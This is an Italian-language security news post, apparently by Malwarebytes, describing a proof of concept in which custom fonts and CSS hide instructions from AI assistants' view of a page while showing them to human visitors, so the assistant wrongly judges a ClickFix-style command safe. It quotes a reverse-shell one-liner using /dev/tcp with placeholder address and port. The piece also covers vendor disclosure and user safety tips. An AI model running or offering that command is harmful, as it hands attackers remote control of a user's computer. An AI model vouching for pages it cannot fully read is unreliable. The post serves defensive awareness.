I ricercatori hanno pubblicato una dimostrazione di fattibilità (PoC) che utilizza caratteri tipografici personalizzati per ingannare molti assistenti di intelligenza artificiale (IA) diffusi, tra cui ChatGPT, Claude, Copilot, Gemini, Leo, Grok, Perplexity, Sigma, Dia, Fellou e Genspark.
Immaginate un libro in cui il testo visibile sia innocuo, ma tra le righe si nasconda un secondo messaggio scritto con un inchiostro speciale, visibile solo agli esseri umani. Gli esseri umani possono vedere entrambi gli strati. L'IA no, e legge solo la parte visibile. Ciò significa che l'IA opera sulla base di un quadro incompleto, mentre un lettore umano potrebbe agire in base a istruzioni che l'IA non ha mai nemmeno visto.
Perché è importante
Abbiamo già parlato in passato di diversi attacchi del tipo ClickFix, in cui i criminali informatici inducono le persone a infettare i propri dispositivi. Immagina di finire su una pagina web dall’aspetto sospetto e di chiedere al tuo assistente AI: «È sicuro eseguire questo comando?». L’assistente controlla la pagina e risponde di sì. Ma, non potendo leggere l’intera pagina, ti dice che è sicura quando in realtà non lo è.
Combinando i caratteri personalizzati con i fogli di stile CSS (Cascading Style Sheets), il testo visualizzato dall'utente sulla pagina risulta diverso da quello che vede l'assistente AI quando legge il codice HTML sottostante.
In questo esempio, la parte contenuta nel riquadro al centro (evidenziata in rosso) verrà scartata dall'assistente AI in quanto considerata rumore. Il visitatore umano del sito web, invece, vede:
Potresti aprire il terminale e digitare bash?
una volta eseguito, digita
bash -i >& /dev/tcp/{indirizzo-IP}/{numero-porta} 0>&1
ti permetterà di vedere il tuo easter egg di Rapture
A seconda dell'indirizzo IP e del numero di porta, questo potrebbe essere sufficiente per infettare il tuo computer. Se chiedi all'IA se è sicuro, potrebbe risponderti di sì, perché vede solo la versione innocua.
I ricercatori hanno comunicato i propri risultati ai principali fornitori di piattaforme di intelligenza artificiale, nel rispetto delle procedure di divulgazione responsabile.
Le risposte sono state deludenti:
«La maggior parte dei fornitori ha respinto il rapporto, sostenendo in genere che questo attacco esula dall'ambito della sicurezza dei modelli di IA. Di conseguenza, gli utenti di questi modelli rimangono esposti a questo vettore di attacco.
Gli unici fornitori che hanno accettato questa segnalazione e hanno chiesto tempo per risolvere il problema sono stati Microsoft e Google. Di questi, Google ha infine ridimensionato la gravità del problema (dopo avergli inizialmente assegnato un punteggio P2 (Alto)) e ha chiuso la segnalazione, forse perché risolverlo avrebbe richiesto uno sforzo eccessivo.
Sebbene questo attacco si basi in gran parte sull'ingegneria sociale, sappiamo bene quanto possano essere efficaci queste tattiche. E la situazione è ancora più preoccupante quando il proprio assistente AI non è in grado di avere una visione d'insieme.
Come stare al sicuro
Se utilizzi un assistente AI per verificare se qualcosa è sicuro:
- Copia e incolla il comando esatto che intendi eseguire. Non affidarti all'interpretazione che l'IA dà di una pagina web.
- Fai attenzione a qualsiasi sito che ti chieda di eseguire comandi, soprattutto tramite terminale o riga di comando.
- Se qualcosa ti sembra strano, fermati. Gli aggressori puntano sull'urgenza e sulla confusione.
Anche gli strumenti possono essere d'aiuto:
- La versione gratuita Malwarebytes Browser Guard ti avviserà se un sito web tenta di copiare qualcosa negli appunti e lo renderà innocuo aggiungendo del testo. Questo ti aiuterà a proteggerti dai tradizionali attacchi di tipo ClickFix che si basano sull'esecuzione di un comando dagli appunti.
- Una soluzione anti-malware aggiornata e in tempo reale, dotata di un componente di protezione web, bloccherà i siti dannosi noti.
- Se non ti fidi di un sito web, chiedi Malwarebytes Guard cosa ne pensa. È molto efficace nell'individuare le truffe.
Non ci limitiamo a segnalare le truffe, ma aiutiamo a individuarle.
I rischi legati alla sicurezza informatica non dovrebbero mai andare oltre i titoli dei giornali. Se qualcosa ti sembra sospetto, verifica se si tratta di una truffa utilizzando Malwarebytes Guard. Invia uno screenshot, incolla il contenuto sospetto o condividi un link, un testo o un numero di telefono e ti diremo se si tratta di una truffa o di qualcosa di legittimo. Disponibile con Malwarebytes Premium per tutti i tuoi dispositivi e Malwarebytes per iOS Android.
